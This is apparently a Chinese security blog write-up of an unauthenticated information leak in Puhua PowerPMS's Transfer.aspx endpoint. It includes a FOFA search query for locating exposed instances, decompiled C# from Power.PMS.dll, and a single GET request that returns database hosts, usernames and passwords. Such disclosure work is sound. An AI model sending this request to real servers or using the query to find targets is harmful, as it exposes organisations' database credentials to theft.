普华Powerpms Transfer.aspx 未授权访问致信息泄漏漏洞


漏洞简介

普华PowerPMS是上海普华科技发展股份有限公司旗下一款项目管理信息平台。其PowerPMS系统Transfer.aspx接口存在信息泄露漏洞,攻击者可在无需认证的情况下,通过直接访问该文件,获取系统中存储的数据库配置信息,可能导致数据库数据泄露,进而引发未授权访问和系统控制风险。

影响版本

fofa语法

app="普华科技-PowerPMS" || body="Power.login.init" && body="Power.ui.warning" && body="Power_login_btn"

漏洞分析

看下Transfer.aspx的实现逻辑

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Transfer.aspx.cs" Inherits="Power.PMS.PowerPlat.Tools.Tools" %>

根据代码引用在Power.PMS.dll中找到PowerPlat.Tools.Tools的实现

public class Tools : Page
{
  protected void Page_Load(object sender, EventArgs e)
  {
    PowerGlobal.CheckSecurity(this.Request);
    string str1 = this.Request["ServerOperatorType"];
    if (str1 == null)
      throw new Exception("无法识别的操作方式");
    IEntityAction entityAction = (IEntityAction) new EntityAction();
    string str2 = str1;
    if (!string.op_Equality(str2, "LoadDataSource"))
    {
      if (!string.op_Equality(str2, "TransAllTables"))
      {
        if (!string.op_Equality(str2, "TransRecord"))
        {
          if (!string.op_Equality(str2, "CaseGUID"))
            return;
          string str3 = entityAction.CaseGUID(this.Request.QueryString["DataSource"], this.Request.QueryString["ObjDataSource"]);
          this.Response.Clear();
          this.Response.Write(str3);
          this.Response.End();
        }
        else
        {
          string str4 = entityAction.TransRecord("", this.Request.QueryString["DataSource"], this.Request.QueryString["ObjDataSource"]);
          this.Response.Clear();
          this.Response.Write(str4);
          this.Response.End();
        }
      }
      else
      {
        string str5 = entityAction.TransAllTables(this.Request.QueryString["DataSource"], this.Request.QueryString["ObjDataSource"]);
        this.Response.Clear();
        this.Response.Write(str5);
        this.Response.End();
      }
    }
    else
    {
      string str6 = JsonConvert.SerializeObject((object) entityAction.LoadDataSource());
      this.Response.Clear();
      this.Response.Write(str6);
      this.Response.End();
    }
  }

根据ServerOperatorType参数的值进入不同的分支处理逻辑

当ServerOperatorType=LoadDataSource时,会进入LoadDataSource方法

/// <summary>提取可用数据源</summary>
/// <returns></returns>
public List<DataBaseEntity> LoadDataSource()
{
  DAL.LoadDataSourceConfig(AppDomain.CurrentDomain.BaseDirectory);
  List<DataBaseEntity> dataBaseEntityList = new List<DataBaseEntity>();
  foreach (DataBaseEntity dataBaseEntity in DAL.ConnStrs.Values)
    dataBaseEntityList.Add(dataBaseEntity);
  return dataBaseEntityList;
}

其目的已经注释出来了,提取可用的数据源信息,然后以json格式响应在body

漏洞复现

GET /PowerPlat/Tools/Transfer.aspx?ServerOperatorType=LoadDataSource HTTP/1.1
Host: powerpms.mrxn.net

响应中包含当前可用的数据源信息,包括数据库地址、账户和密码等敏感信息。


手机扫码阅读

孚盟云CRM AjaxWriteMail.ashx 多处SQL注入漏洞

普华Powerpms File.ashx SQL注入漏洞

评 论